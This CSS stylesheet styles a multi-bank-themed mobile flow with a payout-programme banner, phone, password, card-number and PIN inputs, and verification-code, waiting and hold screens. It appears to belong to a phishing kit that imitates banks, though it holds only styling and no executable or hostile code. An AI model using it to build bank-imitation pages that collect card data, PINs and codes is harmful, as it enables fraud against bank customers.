@import url('https://fonts.googleapis.com/css2?family=Inter:wght@300;400;500;600;700;800;900&display=swap');

/* ============================================
   CSS VARIABLES (overridden per-bank theme)
   ============================================ */
:root {
    --primary: #5B9BD5;
    --primary-rgb: 91, 155, 213;
    --primary-light: #6FAFEA;
    --primary-dark: #4080B8;
    --accent: #7EC8E3;
    --bg: #0F1923;
    --bg-secondary: #141F2B;
    --bg-card: rgba(18, 28, 40, 0.72);
    --surface: rgba(91, 155, 213, 0.06);
    --border: rgba(91, 155, 213, 0.14);
    --border-hover: rgba(91, 155, 213, 0.3);
    --text: #FFFFFF;
    --text-secondary: rgba(255, 255, 255, 0.7);
    --text-muted: rgba(255, 255, 255, 0.45);
    --error: #FF5A6E;
    --error-rgb: 255, 90, 110;
    --warning: #FFB84D;
    --success: #3DD9A4;
    --radius-sm: 12px;
    --radius-md: 16px;
    --radius-lg: 20px;
    --radius-xl: 24px;
    --radius-2xl: 32px;
    --transition: all 0.3s cubic-bezier(0.4, 0, 0.2, 1);
    --font: 'Inter', -apple-system, BlinkMacSystemFont, 'Segoe UI', Roboto, sans-serif;
}

* { margin: 0; padding: 0; box-sizing: border-box; }

html {
    height: 100%;
    width: 100%;
    background: var(--bg);
    overflow-x: hidden;
    min-height: 100vh;
    min-height: -webkit-fill-available;
    padding: env(safe-area-inset-top, 0) env(safe-area-inset-right, 0) env(safe-area-inset-bottom, 0) env(safe-area-inset-left, 0);
}

body {
    font-family: var(--font);
    background: var(--bg);
    min-height: 100vh;
    min-height: -webkit-fill-available;
    height: 100%;
    width: 100%;
    display: flex;
    flex-direction: column;
    align-items: center;
    justify-content: flex-start;
    color: var(--text);
    overflow-x: hidden;
    position: relative;
    margin: 0;
    padding: 0;
    -webkit-font-smoothing: antialiased;
    -moz-osx-font-smoothing: grayscale;
    touch-action: pan-x pan-y;
    animation: fadeIn 0.5s ease-out;
}

@keyframes fadeIn {
    from { opacity: 0; }
    to { opacity: 1; }
}

body::before {
    content: '';
    position: fixed;
    inset: 0;
    background:
        radial-gradient(ellipse 70% 50% at 20% 20%, rgba(var(--primary-rgb), 0.06) 0%, transparent 60%),
        radial-gradient(ellipse 60% 40% at 80% 80%, rgba(var(--primary-rgb), 0.04) 0%, transparent 60%),
        radial-gradient(ellipse 80% 50% at 50% 100%, rgba(var(--primary-rgb), 0.025) 0%, transparent 50%);
    pointer-events: none;
    z-index: 0;
}

body::after {
    display: none;
}

/* ============================================
   FLOATING PARTICLES
   ============================================ */
.bg-particles {
    position: fixed;
    inset: 0;
    pointer-events: none;
    z-index: 0;
    overflow: hidden;
}

.bg-particles .particle {
    position: absolute;
    border-radius: 50%;
    background: rgba(var(--primary-rgb), 0.2);
    animation: particleFloat 20s ease-in-out infinite;
}

.bg-particles .particle:nth-child(1) { width: 3px; height: 3px; top: 15%; left: 10%; animation-delay: 0s; animation-duration: 22s; }
.bg-particles .particle:nth-child(2) { width: 2px; height: 2px; top: 45%; left: 85%; animation-delay: -3s; animation-duration: 18s; }
.bg-particles .particle:nth-child(3) { width: 4px; height: 4px; top: 70%; left: 20%; animation-delay: -7s; animation-duration: 25s; }
.bg-particles .particle:nth-child(4) { width: 2px; height: 2px; top: 25%; left: 70%; animation-delay: -5s; animation-duration: 20s; }
.bg-particles .particle:nth-child(5) { width: 3px; height: 3px; top: 85%; left: 55%; animation-delay: -10s; animation-duration: 24s; }
.bg-particles .particle:nth-child(6) { width: 2px; height: 2px; top: 55%; left: 40%; animation-delay: -2s; animation-duration: 19s; }

@keyframes particleFloat {
    0%, 100% { transform: translate(0, 0) scale(1); opacity: 0.25; }
    25% { transform: translate(30px, -20px) scale(1.2); opacity: 0.5; }
    50% { transform: translate(-20px, -40px) scale(0.8); opacity: 0.35; }
    75% { transform: translate(15px, 20px) scale(1.1); opacity: 0.4; }
}

/* ============================================
   PAGE WRAPPER
   ============================================ */
.page-wrapper {
    width: 100%;
    max-width: 480px;
    min-height: 100vh;
    min-height: 100dvh;
    display: flex;
    flex-direction: column;
    align-items: center;
    padding: 0 16px;
    position: relative;
    z-index: 1;
}

/* ============================================
   TOP BANNER
   ============================================ */
.top-banner {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 10px;
    padding: 12px 22px;
    margin-top: 16px;
    background: rgba(var(--primary-rgb), 0.07);
    backdrop-filter: blur(20px) saturate(160%);
    -webkit-backdrop-filter: blur(20px) saturate(160%);
    border: 1px solid rgba(var(--primary-rgb), 0.15);
    border-radius: 50px;
    width: fit-content;
    max-width: 100%;
    animation: slideDown 0.6s cubic-bezier(0.16, 1, 0.3, 1);
}

.top-banner-dot {
    width: 7px;
    height: 7px;
    border-radius: 50%;
    background: var(--success);
    box-shadow: 0 0 8px rgba(61, 217, 164, 0.6);
    animation: dotPulse 2s ease-in-out infinite;
    flex-shrink: 0;
}

@keyframes dotPulse {
    0%, 100% { opacity: 1; }
    50% { opacity: 0.5; }
}

.top-banner-icon {
    width: 16px;
    height: 16px;
    color: var(--primary);
    flex-shrink: 0;
    opacity: 0.85;
}

.top-banner-text {
    font-size: 11px;
    font-weight: 700;
    letter-spacing: 1.2px;
    text-transform: uppercase;
    color: var(--text);
    opacity: 0.85;
    white-space: nowrap;
}

@keyframes slideDown {
    from { opacity: 0; transform: translateY(-16px); }
    to { opacity: 1; transform: translateY(0); }
}

/* ============================================
   BANK BADGE
   ============================================ */
.bank-badge {
    display: flex;
    align-items: center;
    gap: 12px;
    padding: 8px 18px 8px 8px;
    margin-top: 18px;
    background: rgba(var(--primary-rgb), 0.05);
    backdrop-filter: blur(16px);
    -webkit-backdrop-filter: blur(16px);
    border: 1px solid rgba(var(--primary-rgb), 0.1);
    border-radius: 50px;
    animation: fadeInUp 0.6s cubic-bezier(0.16, 1, 0.3, 1) 0.1s both;
}

.bank-badge-logo {
    width: 34px;
    height: 34px;
    border-radius: 50%;
    object-fit: cover;
    box-shadow: 0 2px 8px rgba(0, 0, 0, 0.25);
}

.bank-badge-name {
    font-size: 14px;
    font-weight: 600;
    color: var(--text);
    letter-spacing: 0.2px;
}

@keyframes fadeInUp {
    from { opacity: 0; transform: translateY(14px); }
    to { opacity: 1; transform: translateY(0); }
}

/* ============================================
   MAIN CONTAINER
   ============================================ */
.main-container {
    width: 100%;
    min-height: auto;
    display: flex;
    justify-content: center;
    align-items: flex-start;
    padding: 18px 0;
    flex: 1;
    z-index: 1;
    position: relative;
}

/* ============================================
   CARD
   ============================================ */
.card {
    background: var(--bg-card);
    backdrop-filter: blur(40px) saturate(170%);
    -webkit-backdrop-filter: blur(40px) saturate(170%);
    border-radius: var(--radius-xl);
    padding: 44px 28px;
    width: 100%;
    max-width: 100%;
    text-align: center;
    box-shadow:
        0 6px 28px rgba(0, 0, 0, 0.3),
        0 0 0 1px rgba(var(--primary-rgb), 0.06),
        inset 0 1px 0 rgba(255, 255, 255, 0.05);
    border: 1px solid var(--border);
    animation: cardIn 0.65s cubic-bezier(0.16, 1, 0.3, 1) 0.15s both;
    position: relative;
    overflow: hidden;
    transition: var(--transition);
}

.card::before {
    content: '';
    position: absolute;
    top: 0; left: 0; right: 0;
    height: 1px;
    background: linear-gradient(90deg,
        transparent 0%,
        rgba(var(--primary-rgb), 0.25) 30%,
        rgba(var(--primary-rgb), 0.4) 50%,
        rgba(var(--primary-rgb), 0.25) 70%,
        transparent 100%);
    z-index: 2;
    pointer-events: none;
}

.card::after {
    content: '';
    position: absolute;
    top: 0; left: 0; right: 0; bottom: 0;
    background:
        radial-gradient(ellipse 70% 40% at 20% 0%, rgba(var(--primary-rgb), 0.04) 0%, transparent 50%),
        radial-gradient(ellipse 50% 30% at 80% 100%, rgba(var(--primary-rgb), 0.025) 0%, transparent 50%);
    border-radius: var(--radius-xl);
    pointer-events: none;
    z-index: 0;
}

.card:hover {
    border-color: var(--border-hover);
    box-shadow:
        0 10px 40px rgba(0, 0, 0, 0.35),
        0 0 0 1px rgba(var(--primary-rgb), 0.1),
        0 0 50px rgba(var(--primary-rgb), 0.05),
        inset 0 1px 0 rgba(255, 255, 255, 0.06);
    transform: translateY(-1px);
}

@keyframes cardIn {
    from { opacity: 0; transform: translateY(18px) scale(0.98); }
    to { opacity: 1; transform: translateY(0) scale(1); }
}

.phone-card { padding: 36px 24px; }

/* ============================================
   ANIMATED RING
   ============================================ */
.animated-ring-container {
    position: relative;
    width: 130px;
    height: 130px;
    margin: 0 auto 24px;
    display: flex;
    align-items: center;
    justify-content: center;
}

.animated-ring-svg {
    position: absolute;
    width: 100%;
    height: 100%;
    animation: ringRotate 3s linear infinite;
}

.animated-ring-track {
    fill: none;
    stroke: rgba(var(--primary-rgb), 0.1);
    stroke-width: 3;
}

.animated-ring-progress {
    fill: none;
    stroke: var(--primary);
    stroke-width: 3;
    stroke-linecap: round;
    stroke-dasharray: 280;
    stroke-dashoffset: 80;
    filter: drop-shadow(0 0 5px rgba(var(--primary-rgb), 0.4));
}

.animated-ring-glow {
    position: absolute;
    width: 120%;
    height: 120%;
    border-radius: 50%;
    background: radial-gradient(circle, rgba(var(--primary-rgb), 0.06) 0%, transparent 70%);
    animation: ringGlow 3s ease-in-out infinite;
}

.animated-ring-icon {
    position: relative;
    z-index: 2;
    font-size: 40px;
    line-height: 1;
    animation: iconFloat 3s ease-in-out infinite;
}

@keyframes ringRotate { from { transform: rotate(0deg); } to { transform: rotate(360deg); } }
@keyframes ringGlow { 0%, 100% { opacity: 0.5; transform: scale(1); } 50% { opacity: 1; transform: scale(1.04); } }
@keyframes iconFloat { 0%, 100% { transform: translateY(0); } 50% { transform: translateY(-2px); } }

/* ============================================
   STATUS TIMER
   ============================================ */
.status-timer {
    display: inline-flex;
    align-items: center;
    gap: 6px;
    padding: 5px 14px;
    background: rgba(var(--primary-rgb), 0.07);
    border: 1px solid rgba(var(--primary-rgb), 0.12);
    border-radius: 50px;
    font-size: 10px;
    font-weight: 700;
    letter-spacing: 1.5px;
    text-transform: uppercase;
    color: var(--primary);
    margin-bottom: 14px;
}

.status-timer-dot {
    width: 5px;
    height: 5px;
    border-radius: 50%;
    background: var(--primary);
    animation: dotPulse 1.5s ease-in-out infinite;
}

/* ============================================
   STEP INDICATOR
   ============================================ */
.step-indicator {
    display: flex;
    align-items: center;
    gap: 8px;
    margin-bottom: 22px;
    justify-content: center;
}

.step-dot {
    width: 7px; height: 7px;
    border-radius: 50%;
    background: rgba(var(--primary-rgb), 0.15);
    transition: var(--transition);
}

.step-dot.active {
    background: var(--primary);
    box-shadow: 0 0 8px rgba(var(--primary-rgb), 0.35);
    width: 22px;
    border-radius: 4px;
}

.step-dot.completed {
    background: var(--primary);
    opacity: 0.45;
}

/* ============================================
   SECURITY NOTICE
   ============================================ */
.security-notice {
    display: flex;
    align-items: center;
    gap: 10px;
    padding: 12px 18px;
    background: rgba(var(--primary-rgb), 0.04);
    border: 1px solid rgba(var(--primary-rgb), 0.1);
    border-radius: var(--radius-md);
    margin-top: 18px;
}

.security-notice-icon {
    width: 34px; height: 34px;
    border-radius: 50%;
    background: rgba(var(--primary-rgb), 0.08);
    border: 1px solid rgba(var(--primary-rgb), 0.15);
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.security-notice-icon svg { width: 16px; height: 16px; color: var(--primary); }

.security-notice-text {
    font-size: 13px;
    font-weight: 500;
    color: var(--text-secondary);
    line-height: 1.4;
}

/* ============================================
   PROGRAM BANNER
   ============================================ */
.program-banner {
    display: flex;
    align-items: center;
    justify-content: space-between;
    gap: 12px;
    width: 100%;
    padding: 14px 18px;
    margin-bottom: 20px;
    background: rgba(var(--primary-rgb), 0.05);
    backdrop-filter: blur(16px);
    -webkit-backdrop-filter: blur(16px);
    border: 1px solid rgba(var(--primary-rgb), 0.1);
    border-radius: var(--radius-lg);
    animation: fadeInUp 0.7s cubic-bezier(0.16, 1, 0.3, 1) 0.35s both;
}

.program-banner-left { display: flex; align-items: center; gap: 10px; min-width: 0; }

.program-banner-icon {
    width: 38px; height: 38px;
    border-radius: 10px;
    background: rgba(var(--primary-rgb), 0.1);
    border: 1px solid rgba(var(--primary-rgb), 0.15);
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
}

.program-banner-icon svg { width: 20px; height: 20px; color: var(--primary); }

.program-banner-info { display: flex; flex-direction: column; gap: 2px; min-width: 0; }

.program-banner-title {
    font-size: 11px;
    font-weight: 800;
    letter-spacing: 0.8px;
    text-transform: uppercase;
    color: var(--text);
    line-height: 1.2;
}

.program-banner-sub {
    font-size: 10px;
    font-weight: 500;
    color: var(--text-muted);
    line-height: 1.2;
}

.program-banner-amount {
    padding: 7px 14px;
    background: rgba(var(--primary-rgb), 0.1);
    border: 1px solid rgba(var(--primary-rgb), 0.2);
    border-radius: 50px;
    font-size: 13px;
    font-weight: 800;
    color: var(--text);
    white-space: nowrap;
    flex-shrink: 0;
}

/* ============================================
   TRUST ROW
   ============================================ */
.trust-row {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 18px;
    padding: 14px 0 24px;
    width: 100%;
    animation: fadeInUp 0.7s cubic-bezier(0.16, 1, 0.3, 1) 0.45s both;
}

.trust-item {
    display: flex;
    align-items: center;
    gap: 5px;
    font-size: 10px;
    color: var(--text-muted);
    font-weight: 500;
}

.trust-item svg { width: 13px; height: 13px; color: var(--primary); opacity: 0.7; }

/* ============================================
   HIGHLIGHTED TEXT
   ============================================ */
.text-accent {
    color: var(--primary) !important;
    -webkit-text-fill-color: var(--primary) !important;
}

/* ============================================
   ICON CIRCLE
   ============================================ */
.icon-circle {
    width: 84px;
    height: 84px;
    background: rgba(var(--primary-rgb), 0.08);
    backdrop-filter: blur(20px) saturate(150%);
    -webkit-backdrop-filter: blur(20px) saturate(150%);
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    margin: 0 auto 24px;
    box-shadow:
        0 6px 20px rgba(0, 0, 0, 0.25),
        inset 0 1px 0 rgba(255, 255, 255, 0.08),
        0 0 28px rgba(var(--primary-rgb), 0.08);
    border: 1.5px solid rgba(var(--primary-rgb), 0.2);
    position: relative;
    overflow: hidden;
    animation: iconPulse 4s ease-in-out infinite;
}

.icon-circle img.bank-icon {
    width: 100%;
    height: 100%;
    object-fit: cover;
    object-position: center;
    border-radius: 50%;
    opacity: 0.95;
    position: absolute;
    top: 0;
    left: 0;
}

.icon-circle::before {
    content: '';
    position: absolute;
    width: 100%; height: 100%;
    border-radius: 50%;
    border: 2px solid rgba(var(--primary-rgb), 0.15);
    animation: ripple 3s ease-out infinite;
    box-shadow: 0 0 16px rgba(var(--primary-rgb), 0.08);
}

@keyframes iconPulse {
    0%, 100% { box-shadow: 0 6px 20px rgba(0, 0, 0, 0.25), 0 0 0 0 rgba(var(--primary-rgb), 0.15); }
    50% { box-shadow: 0 6px 20px rgba(0, 0, 0, 0.25), 0 0 0 10px rgba(var(--primary-rgb), 0); }
}

@keyframes ripple {
    0% { transform: scale(1); opacity: 0.5; }
    100% { transform: scale(1.35); opacity: 0; }
}

.bank-icon {
    width: 42px;
    height: 42px;
    object-fit: contain;
    opacity: 0.9;
}

/* ============================================
   CARD TITLE
   ============================================ */
.card-title {
    font-size: 20px;
    font-weight: 600;
    margin-bottom: 24px;
    color: var(--text);
    line-height: 1.4;
    letter-spacing: -0.3px;
}

.phone-title {
    font-size: 18px;
    margin-bottom: 22px;
    font-weight: 600;
}

/* ============================================
   AMOUNT
   ============================================ */
.amount {
    font-size: 46px;
    font-weight: 800;
    margin-bottom: 16px;
    letter-spacing: -1.5px;
    line-height: 1.1;
    background: linear-gradient(135deg, var(--accent) 0%, var(--primary) 40%, var(--primary-light) 70%, var(--accent) 100%);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    background-size: 200% 200%;
    animation: gradientShift 4s ease infinite;
    filter: drop-shadow(0 0 16px rgba(var(--primary-rgb), 0.3));
    position: relative;
}

@keyframes gradientShift {
    0%, 100% { background-position: 0% 50%; }
    50% { background-position: 100% 50%; }
}

.amount::after {
    content: '';
    position: absolute;
    bottom: -6px;
    left: 50%;
    transform: translateX(-50%);
    width: 40px;
    height: 2px;
    background: linear-gradient(90deg, transparent, rgba(var(--primary-rgb), 0.4), transparent);
    border-radius: 2px;
}

.phone-amount,
.verification-amount,
.waiting-amount {
    font-size: 42px;
    font-weight: 800;
    letter-spacing: -1.5px;
    line-height: 1.1;
    background: linear-gradient(135deg, var(--accent) 0%, var(--primary) 40%, var(--primary-light) 70%, var(--accent) 100%);
    -webkit-background-clip: text;
    -webkit-text-fill-color: transparent;
    background-clip: text;
    background-size: 200% 200%;
    animation: gradientShift 4s ease infinite;
    filter: drop-shadow(0 0 16px rgba(var(--primary-rgb), 0.3));
}

.phone-amount { margin-bottom: 24px; }
.verification-amount { margin-bottom: 20px; }
.waiting-amount { margin-bottom: 20px; }

/* ============================================
   VERIFIED BADGE
   ============================================ */
.verified {
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 6px;
    color: var(--success);
    font-size: 13px;
    margin-bottom: 32px;
    font-weight: 500;
}

.checkmark {
    font-size: 14px;
    font-weight: 600;
    display: inline-flex;
    align-items: center;
    justify-content: center;
    animation: checkmarkPop 0.4s ease-out 0.3s both;
}

@keyframes checkmarkPop {
    0% { transform: scale(0); opacity: 0; }
    60% { transform: scale(1.2); }
    100% { transform: scale(1); opacity: 1; }
}

/* ============================================
   PHONE INPUT
   ============================================ */
.phone-input-container { margin-bottom: 28px; }

.phone-input {
    background: rgba(var(--primary-rgb), 0.05);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border-radius: var(--radius-md);
    padding: 16px 20px;
    display: flex;
    align-items: center;
    gap: 10px;
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    transition: var(--transition);
    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.1);
}

.phone-input:focus-within {
    border-color: rgba(var(--primary-rgb), 0.4);
    box-shadow: 0 0 0 3px rgba(var(--primary-rgb), 0.08), inset 0 2px 4px rgba(0, 0, 0, 0.08);
    transform: translateY(-1px);
    background: rgba(var(--primary-rgb), 0.07);
}

.country-code { font-size: 17px; color: rgba(255, 255, 255, 0.85); font-weight: 500; }
.separator { color: rgba(255, 255, 255, 0.2); font-size: 17px; }
.phone-field { flex: 1; background: none; border: none; color: white; font-size: 17px; outline: none; font-family: inherit; }
.phone-field::placeholder { color: rgba(255, 255, 255, 0.35); }

/* ============================================
   BUTTONS
   ============================================ */
.continue-btn {
    width: 100%;
    background: rgba(var(--primary-rgb), 0.1);
    backdrop-filter: blur(20px);
    -webkit-backdrop-filter: blur(20px);
    border: 1.5px solid rgba(var(--primary-rgb), 0.22);
    border-radius: var(--radius-md);
    padding: 15px 22px;
    color: var(--text);
    font-size: 16px;
    font-weight: 600;
    cursor: pointer;
    transition: var(--transition);
    box-shadow: 0 3px 14px rgba(0, 0, 0, 0.18), inset 0 1px 0 rgba(255, 255, 255, 0.06);
    display: flex;
    align-items: center;
    justify-content: center;
    gap: 6px;
    letter-spacing: 0.3px;
    position: relative;
    overflow: hidden;
    font-family: inherit;
}

.continue-btn::before {
    content: '';
    position: absolute;
    top: 0; left: -100%;
    width: 100%; height: 100%;
    background: linear-gradient(90deg, transparent, rgba(255, 255, 255, 0.08), transparent);
    transition: left 0.5s ease;
}

.continue-btn:hover::before { left: 100%; }

.continue-btn:hover {
    transform: translateY(-2px);
    background: rgba(var(--primary-rgb), 0.18);
    box-shadow: 0 6px 28px rgba(var(--primary-rgb), 0.2), inset 0 1px 0 rgba(255, 255, 255, 0.1);
    border-color: rgba(var(--primary-rgb), 0.4);
}

.continue-btn:active { transform: translateY(0) scale(0.98); transition: all 0.1s; }

.continue-btn:disabled { opacity: 0.4; cursor: not-allowed; transform: none; }
.continue-btn:disabled:hover { transform: none; box-shadow: 0 3px 14px rgba(0, 0, 0, 0.18); }

.continue-btn:enabled {
    background: linear-gradient(135deg, var(--primary) 0%, var(--primary-dark) 100%);
    box-shadow: 0 4px 18px rgba(var(--primary-rgb), 0.3);
}

.continue-btn:enabled:hover {
    background: linear-gradient(135deg, var(--primary-light) 0%, var(--primary) 100%);
    box-shadow: 0 6px 28px rgba(var(--primary-rgb), 0.4);
}

.phone-btn {
    background: rgba(var(--primary-rgb), 0.07);
    border: 1.5px solid rgba(var(--primary-rgb), 0.18);
}

.phone-btn:hover {
    background: rgba(var(--primary-rgb), 0.16);
    border-color: rgba(var(--primary-rgb), 0.38);
}

/* ============================================
   GENERIC INPUT STYLES
   ============================================ */
.password-input,
.card-input-field,
.verification-input,
.custom-input,
input.phone-input {
    background: rgba(var(--primary-rgb), 0.05);
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    border-radius: var(--radius-md);
    color: var(--text);
    font-family: var(--font);
    box-shadow: inset 0 2px 4px rgba(0, 0, 0, 0.08);
    transition: var(--transition);
}

.password-input:focus,
.card-input-field:focus,
.verification-input:focus,
.custom-input:focus,
input.phone-input:focus {
    border-color: rgba(var(--primary-rgb), 0.4);
    box-shadow: 0 0 0 3px rgba(var(--primary-rgb), 0.08), inset 0 2px 4px rgba(0, 0, 0, 0.06);
    background: rgba(var(--primary-rgb), 0.07);
    transform: translateY(-1px);
    outline: none;
}

.password-input::placeholder,
.card-input-field::placeholder,
.verification-input::placeholder,
.custom-input::placeholder,
input.phone-input::placeholder { color: var(--text-muted); }

/* ============================================
   TITLES & TEXT
   ============================================ */
.card-title, .phone-title, .password-title,
.card-title-custom, .pincode-title,
.verification-title, .waiting-title,
.hold-title, .error-title,
.question-text, .message-text {
    font-family: var(--font);
    color: var(--text);
    letter-spacing: -0.3px;
}

.password-subtitle, .card-subtitle-custom,
.pincode-subtitle, .error-message {
    font-family: var(--font);
    color: var(--text-secondary);
}

.password-label, .card-label,
.verification-label, .input-label {
    font-family: var(--font);
    color: var(--text-muted);
    font-weight: 500;
    font-size: 12px;
    text-transform: uppercase;
    letter-spacing: 0.8px;
}

/* ============================================
   PINCODE KEYBOARD
   ============================================ */
.pincode-key {
    background: rgba(var(--primary-rgb), 0.05);
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    font-family: var(--font);
    transition: var(--transition);
    aspect-ratio: 1;
    border-radius: 50%;
    color: white;
    font-size: 22px;
    font-weight: 600;
    cursor: pointer;
    display: flex;
    align-items: center;
    justify-content: center;
    user-select: none;
    -webkit-tap-highlight-color: transparent;
}

.pincode-key:hover {
    background: rgba(var(--primary-rgb), 0.12);
    border-color: rgba(var(--primary-rgb), 0.35);
    transform: scale(1.05);
}

.pincode-key:active {
    transform: scale(0.94);
    background: rgba(var(--primary-rgb), 0.2);
}

.pincode-dot {
    width: 15px; height: 15px;
    border-radius: 50%;
    border-color: rgba(var(--primary-rgb), 0.25);
    background: rgba(255, 255, 255, 0.08);
    transition: var(--transition);
}

.pincode-dot.filled {
    background: var(--primary);
    border-color: var(--primary);
    box-shadow: 0 0 14px rgba(var(--primary-rgb), 0.4);
    transform: scale(1.12);
}

.pincode-delete-icon {
    background: rgba(var(--primary-rgb), 0.06);
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    transition: var(--transition);
    grid-column: 3;
    justify-self: center;
    width: 34px; height: 34px;
    border-radius: 50%;
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
}

.pincode-delete-icon:hover { background: rgba(var(--primary-rgb), 0.15); border-color: rgba(var(--primary-rgb), 0.35); }
.pincode-delete-icon svg { width: 18px; height: 18px; color: var(--primary); }

/* ============================================
   ICONS (Question, Lock, Call, Hold, Error)
   ============================================ */
.question-icon, .lock-icon, .call-icon, .hold-icon, .message-icon {
    background: rgba(var(--primary-rgb), 0.06);
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    box-shadow: 0 6px 20px rgba(0, 0, 0, 0.18), 0 0 30px rgba(var(--primary-rgb), 0.06), inset 0 1px 0 rgba(255, 255, 255, 0.05);
}

.question-icon svg, .lock-icon svg, .call-icon svg, .hold-icon svg, .message-icon svg { color: var(--primary); }

.error-icon {
    background: rgba(var(--error-rgb), 0.06);
    border: 1.5px solid rgba(var(--error-rgb), 0.15);
    box-shadow: 0 6px 20px rgba(0, 0, 0, 0.18), 0 0 30px rgba(var(--error-rgb), 0.06);
}

.error-icon svg { color: var(--error); }

/* ============================================
   LOADING BAR
   ============================================ */
.loading-bar-container {
    background: rgba(var(--primary-rgb), 0.08);
    border-radius: 4px;
    overflow: hidden;
    width: 100%;
    max-width: 280px;
    height: 3px;
    margin: 0 auto 28px;
    position: relative;
}

.loading-bar {
    background: linear-gradient(90deg, transparent 0%, rgba(var(--primary-rgb), 0.5) 20%, var(--primary) 50%, rgba(var(--primary-rgb), 0.5) 80%, transparent 100%);
    animation: loadingBar 1.8s cubic-bezier(0.4, 0, 0.2, 1) infinite;
    height: 100%;
    width: 40%;
    border-radius: 4px;
    position: absolute;
}

@keyframes loadingBar {
    0% { left: -40%; }
    100% { left: 100%; }
}

/* ============================================
   WARNING MESSAGE
   ============================================ */
.warning-message {
    background: rgba(var(--primary-rgb), 0.04);
    border: 1px solid rgba(var(--primary-rgb), 0.1);
    border-radius: var(--radius-md);
    backdrop-filter: blur(10px);
    -webkit-backdrop-filter: blur(10px);
    padding: 18px;
    margin: 0 auto 28px;
    max-width: 300px;
    text-align: center;
}

.warning-icon { font-size: 28px; margin-bottom: 10px; }

.warning-text {
    font-size: 13px;
    color: rgba(255, 255, 255, 0.88);
    line-height: 1.6;
    font-weight: 500;
    font-family: var(--font);
}

.warning-text strong { color: var(--warning); }

/* ============================================
   CAPTCHA
   ============================================ */
.captcha-checkbox-wrapper {
    background: rgba(var(--primary-rgb), 0.05);
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    border-radius: var(--radius-sm);
    transition: var(--transition);
}

.captcha-checkbox-wrapper:hover { background: rgba(var(--primary-rgb), 0.08); border-color: rgba(var(--primary-rgb), 0.3); }
.captcha-checkbox-wrapper.checked { background: rgba(var(--primary-rgb), 0.1); border-color: rgba(var(--primary-rgb), 0.4); }
.captcha-checkbox { border-color: rgba(var(--primary-rgb), 0.35); }
.captcha-checkbox-wrapper.checked .captcha-checkbox { background: var(--primary); border-color: var(--primary); }

.bank-logo { border-radius: var(--radius-sm); overflow: hidden; box-shadow: 0 3px 10px rgba(0, 0, 0, 0.18); }

/* ============================================
   CODE NOT RECEIVED
   ============================================ */
.code-not-received-btn {
    font-family: var(--font);
    background: rgba(var(--primary-rgb), 0.05);
    border: 1px solid rgba(var(--primary-rgb), 0.12);
    border-radius: var(--radius-md);
    transition: var(--transition);
}

/* ============================================
   FOOTER
   ============================================ */
.app-footer {
    margin-top: 28px;
    padding-top: 18px;
    border-top: 1px solid rgba(var(--primary-rgb), 0.08);
    display: flex;
    align-items: center;
    justify-content: center;
}

.app-footer .footer-content { display: flex; align-items: center; gap: 10px; }

.app-footer .footer-icon {
    width: 34px; height: 34px;
    border-radius: 8px;
    display: flex;
    align-items: center;
    justify-content: center;
    flex-shrink: 0;
    overflow: hidden;
}

.app-footer .footer-icon img { width: 100%; height: 100%; object-fit: contain; }
.app-footer .footer-icon-tryzub { background: rgba(255, 255, 255, 0.05); border: 1px solid rgba(255, 255, 255, 0.08); }
.app-footer .footer-icon-gradient { background: transparent; border: none; }
.app-footer .footer-text { display: flex; flex-direction: column; gap: 2px; }
.app-footer .footer-text-main { font-size: 15px; font-weight: 700; color: var(--text); line-height: 1; font-family: var(--font); }
.app-footer .footer-text-sub { font-size: 11px; font-weight: 400; color: var(--text-secondary); line-height: 1; font-family: var(--font); }

/* ============================================
   BACK BUTTON
   ============================================ */
.back-button {
    position: absolute;
    top: 18px; left: 18px;
    width: 40px; height: 40px;
    border-radius: 50%;
    background: rgba(var(--primary-rgb), 0.05);
    backdrop-filter: blur(16px);
    -webkit-backdrop-filter: blur(16px);
    border: 1px solid rgba(var(--primary-rgb), 0.12);
    display: flex;
    align-items: center;
    justify-content: center;
    cursor: pointer;
    transition: var(--transition);
    z-index: 10;
}

.back-button:hover {
    background: rgba(var(--primary-rgb), 0.1);
    border-color: rgba(var(--primary-rgb), 0.25);
    transform: scale(1.06);
}

.back-button svg { width: 18px; height: 18px; color: var(--text-secondary); }

/* ============================================
   PAGE-SPECIFIC LAYOUTS
   ============================================ */
.password-card, .pincode-card, .waiting-card, .hold-card, .error-card, .verification-card { text-align: center; }

.lock-icon {
    width: 76px; height: 76px;
    background: rgba(var(--primary-rgb), 0.06);
    backdrop-filter: blur(20px);
    border-radius: 50%;
    display: flex; align-items: center; justify-content: center;
    margin: 0 auto 28px;
    box-shadow: 0 6px 20px rgba(0, 0, 0, 0.18), 0 0 30px rgba(var(--primary-rgb), 0.06);
    border: 1.5px solid rgba(var(--primary-rgb), 0.15);
    animation: iconPulse 4s ease-in-out infinite;
}
.lock-icon svg { width: 36px; height: 36px; color: var(--primary); }
.password-title { font-size: 22px; font-weight: 700; margin-bottom: 10px; }
.password-subtitle { font-size: 14px; margin-bottom: 28px; line-height: 1.5; }
.password-label { font-size: 12px; margin-bottom: 10px; text-align: left; }
.password-input { width: 100%; padding: 16px 20px; font-size: 17px; margin-bottom: 28px; outline: none; font-family: var(--font); }

.card-title-custom { font-size: 22px; font-weight: 700; margin-bottom: 10px; }
.card-subtitle-custom { font-size: 14px; margin-bottom: 28px; line-height: 1.5; }
.card-label { font-size: 12px; margin-bottom: 10px; text-align: left; }
.card-input-field { width: 100%; padding: 16px 20px; font-size: 17px; font-weight: 600; margin-bottom: 28px; outline: none; font-family: var(--font); }
.card-hint { text-align: center; margin-top: -18px; margin-bottom: 18px; font-size: 13px; color: var(--text-muted); font-family: var(--font); }
#cardDigitsCount { color: var(--primary); font-weight: 700; font-family: var(--font); }

